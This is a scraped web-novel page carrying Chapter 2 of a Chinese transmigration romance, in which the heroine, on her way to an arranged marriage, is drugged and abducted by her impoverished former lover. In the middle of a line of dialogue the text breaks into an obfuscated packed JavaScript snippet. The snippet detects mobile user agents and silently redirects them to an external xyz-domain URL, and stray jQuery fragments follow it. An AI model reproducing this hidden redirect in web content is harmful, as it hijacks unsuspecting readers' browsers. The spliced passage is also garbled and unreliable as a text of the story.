默认冷灰
24号文字
方正启体

2. 第二章

作者:咬玉本书字数:K更新时间:
    宓瑶用完早点,如往常一样在船上找了避风看书的好位置,半张脸窝在雪白狐狸毛中,远眺覆盖雪青山,近赏候鸟捕鱼,耳听楼船划开江水碰触薄冰叮咚脆响,偶尔低头瞟两眼闲书,打了个哈欠开始午睡。


    睡醒后又看了会书,管事过来通知船舶还有几个时辰靠岸,今夜要宿在驿舍,明日换陆路赶往夔州她才有起身的意思。


    宓瑶对多快能见到男主既不期待也不害怕。


    只是听闻马上靠岸,知晓明日会在马车上颠簸。


    她打开了她的养护日注,把明日的护发改到了今日。


    喝了一碗由黑豆黑芝麻核桃仁桑葚煮的养发汤,见时辰差不多回屋内散了发,开始涂抹何首乌和花油调配的养发膏。


    霜华给宓瑶按摩头上穴位,诗雅则是拿了珍珠粉调制的养颜膏给宓瑶涂抹脸部和脖颈。


    她回来之前屋内就先烧起了无烟的银丝炭,等到进到屋内,暖洋洋的馨香袭来,宓瑶又有了几分困意。


    想睡便睡,她闭目又浅浅睡了半盏茶。


    醒来她脸上发上的膏药已经清理干净,霜华和诗雅在给她烘干头发,虞琇则是用剩下的养颜膏敷了脸,拿了个榆木小杌坐在她身边,见她睁眼,立刻递上了香茗漱口。


    “一直看着我作甚?”


    察觉到虞琇的目光直勾勾落在自己身上,宓瑶提醒她一声,“你脸上的面膏要干了,去洗了罢。”


    虞琇摸了摸脸上渐干的白膏,想到其中含有的药材,觉着才擦上就卸掉有些可惜,站起了也迟迟不去净面。


    “阿姊,你说姐夫会喜欢我吗?”


    一天连听虞琇提了两次萧欻,宓瑶想着应该是船舶靠岸,没几日就要与萧欻汇合,小丫头紧张才不停提起。


    再想她平日敷面,虞琇都是在旁看着,或者为她捣药,今日却不同以往也敷了脸。


    她不想干涉书中人物的行为,本来是打算等虞琇像是剧情中碰了壁,如剧情中一样不敢再招惹男主,老实在她身边待着。


    但听到虞琇不停提及想得到萧欻的喜爱,忍不住开了口:“你为何要他喜欢?你是我的妹妹,以前依靠的是我,往后就不想依靠我了?”


    “我自然想依靠姐姐,可是……”


    虞琇低眸搅动手指,期期艾艾,不晓得怎么说。


    瞧她的样子,宓瑶猜得到她的顾虑:“我嫁给萧欻,仰仗他吃喝是我的事,你不须管这些,以前如何往后也依然如何就够了。”


    宓瑶列出清萧的食物链,她以前的食物链的前端是虞家的大家长们,如今她嫁人了,她的前端就变为了萧欻。


    虞琇若是想靠她得到庇护,一切维持原状就成。


    但她说完后,虞琇依然是满腔话不知如何开口的模样,不晓得她是没听懂,还是更想越过她这个中端,去直接接轨萧欻这个上游。


    等到被清晨寒风吹醒,宓瑶才明白,虞琇不是没听懂,她盯着她看是因为她们就要分别,她眼里的焦虑有不舍,也有她这个中游被弄走后,不知如何接轨上游的忐忑无措。


    “嫮嫮你醒了?”


    桓冠斌坐在车内,本就在如饥似渴地端详宓瑶,见她睁眼,立刻惊喜地抓住了她的手,“往后没人能再拆散我们!”


    倏然放大的脸让宓瑶蹙眉往后移了移:“那可不是什么好事。”


    打量所处的环境,目光划过车角黏腻的黑色污垢,还有破旧掉落定不住的轩苇,以及桓冠斌身上半新的墨绿锻服。


    拥有原主的记忆,她知道桓冠斌身上这件衣裳是原主前一年做的。


    原主借着给自己哥哥做衣裳,偷留了不少布与棉,也给桓冠斌做了件锦缎棉服。


    这件衣裳几乎是桓冠斌去年的冬日皮肤,看袖口的磨损,今年应该也没少穿。


    若是换做原主,大约觉得桓冠斌是重视她的心意。


    但以她的记忆看来,桓冠斌单纯就是没钱买更体面的新衣罢了。


    一个家族败落没什么进项的子弟,论才华只能写几首酸诗,既考不上科举无法入朝为官,又自持身份血统,看不上抄书、教书的苦活。


    住的是虞家府邸外缘借给打秋风亲戚居住的茅茨屋,银钱不是这儿借点就是那儿拿点,凑合着过日子。


    没身份没金银,长相也只是勉强算个白净清秀。


    她只继承了原主的记忆,没有得到原主的思想,一开始她没明白原主为何要跟桓冠斌谈情说爱。


    还想爱情真是让人捉摸不透的东西。


    后头看了原主写的小札,大概明白了原主就跟她青春时期一样别扭。


    只是她青春时期穷光顾着赚钱,而原主则是选了一个样样差劲的男人,来显示自个清高,不像旁人所想虚荣爱财,要靠容貌飞上枝头。


    原本她穿来之后,就不打算跟桓冠斌搅合,知道了原主对他没有感情,更是把他抛之脑后。


    谁知道她避过了原主跟情夫私奔的情节,半年没见的情夫还能联合虞琇,把她给偷出驿舍。


    “把我送回去。”


    “嫮嫮,你到底是怎么了?这些日子你就像是变了一个人。”


    宓瑶醒来的冷言冷语就桓冠斌火热的心凉了一半,想到这半年来她的避而不见,桓冠斌急切地握住了她的手,却被她再次躲开。


    “嫮嫮你难不成真想嫁给萧欻那个莽夫,他无门无第,目不识丁,不过运气好救了剑南节度使成了节度使养子,你嫁给他就不怕被世人嗤笑?!”


    “所以不嫁给他,嫁给你生一串穷崽子,一起依附我娘家,求我娘家施舍?”


    马车又脏又冷,还有股畜生的腥味混合男人的酸臭,宓瑶十分不耐,“送我回去,都半年了,你还不懂我看不上你?”


    “不,我不信,嫮嫮我知道你,你与那些俗女不同,金银与你不过是铜臭阿堵物,你怎么可能在意?”


    桓冠斌神情慌乱,像是信了宓瑶的话,但又不愿相信证明他与众不同的勋荣已经消失。


    宓瑶管他信不信。


    她现在只想逃离这个地方。


    拨开沾有斑驳污渍的帷帘,宓瑶想叫马夫停下赶车,还未开口又被桓冠斌扯进了车内。


    “嫮嫮别闹脾气,我们当务之急是离开荆州,等投奔了姨母,你就不必再在意与萧欻的婚约。”


    “那是我姨母,与你并无关系,你有胆子拐人


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15584018|171644||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    却没处安置,还要往女方的亲戚家里躲。”


    宓瑶知道他是在说她在池州的姨母,听他理所当然投奔语气,厌恶地蹙了蹙眉。


    “我没有说笑,也没有说气话,我是真的嫌你穷,嫌你长得不成,才华也平平,你若真惦念情分,就把我送回去。”


    “我知道嫮嫮你是怕连累我,怕虞伯怪罪,才刻意做出这幅姿态,你怎会甘愿嫁给萧欻那个莽夫!”


    看出桓冠斌是面子挂不住,不愿意承认他走了狗屎运得到的情人终于有了理智。


    宓瑶有些累了。


    每日长时间的咸鱼躺不会让她睡饱了平日就能多出几分精力,只会让她的身体更适应长时间的休息。


    不想跟傻瓜浪费心气。


    想到剧情中原主跟桓冠斌私奔后,萧欻没费什么功夫就逮住两人。


    宓瑶觉着只能等萧欻找上门了。


    这离夔州不远,希望他能快点逮到她,让她少受点罪。


    “去换辆干净宽敞的马车,这车又臭又颠,你受得了我可受不住。”


    知道桓冠斌身上不可能有银子换车,宓瑶打开了身旁一看就是属于她的包裹。


    拉开缎布的活节,宓瑶掀开红木匣,嗤了声,“你这人还真是说一套做一套,一边视金钱为粪土,一边逮着我最贵的东西偷。”


    匣子一共三层,装的全都是她最贵重的首饰。


    桓冠斌被宓瑶语气中的讥讽刺伤,面皮涨红:“这些是阿琇收拾的行囊,与我没有关系。”


    宓瑶眼波流转,轻瞥了他一眼,明显不信。


    “嫮嫮你怎会变得如此不可理喻?这半年来是不是有谁跟你说了什么?”


    宓瑶昏迷时,他还在惊叹她的美貌,觉着她美过从前,往常只占三分春色,如今粉面含春,幽兰之姿,美的不似真人。


    而今她醒来张嘴就是挖苦嫌恶,让他无法在欣赏她的美面。


    “看不上你就是不可理喻?”


    宓瑶抱紧了身上的白狐裘免得自己在这破地方冻病。


    大兴崇尚丰腴美人,偏偏原主喜爱魏晋风流,觉着美人就是削瘦才有仙娥般冷清之美。


    而原主天生又是玲珑有致的基因,她刚来时胸被缠得喘不过来气,肚子也饿的呱呱叫。


    与她穿来过来后相同,原主平时也常不下床行走,但不同的是她是因为懒,而原主是因为折腾自己吃不饱体弱缠绵病榻。


    这段时间她极爱惜身体,到了深冬时节,一场风寒,一个喷嚏都没打过,她真怕今日倒霉受寒风来场大病。


    而人就是怕什么来什么。


    几个时辰后,宓瑶头晕转醒。


    桓冠斌有几分骨气但是不多,他嫌她嘴毒,用迷药又把她迷晕了一遭。


    没说报复她把她抛弃路上,而是扔了她充满铜臭的首饰匣。


    车也换了,只是从脏马车换成了铺着稻草搭了围棚的牛车。


    感受到开始发干发热的喉管,宓瑶觉着他还不如脾气大一点,直接把她给杀了。


    反正她本就是个死人,享受了那么久死了也不亏,但让她受没意思,不知道什么时候能结束的苦就让她心烦了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)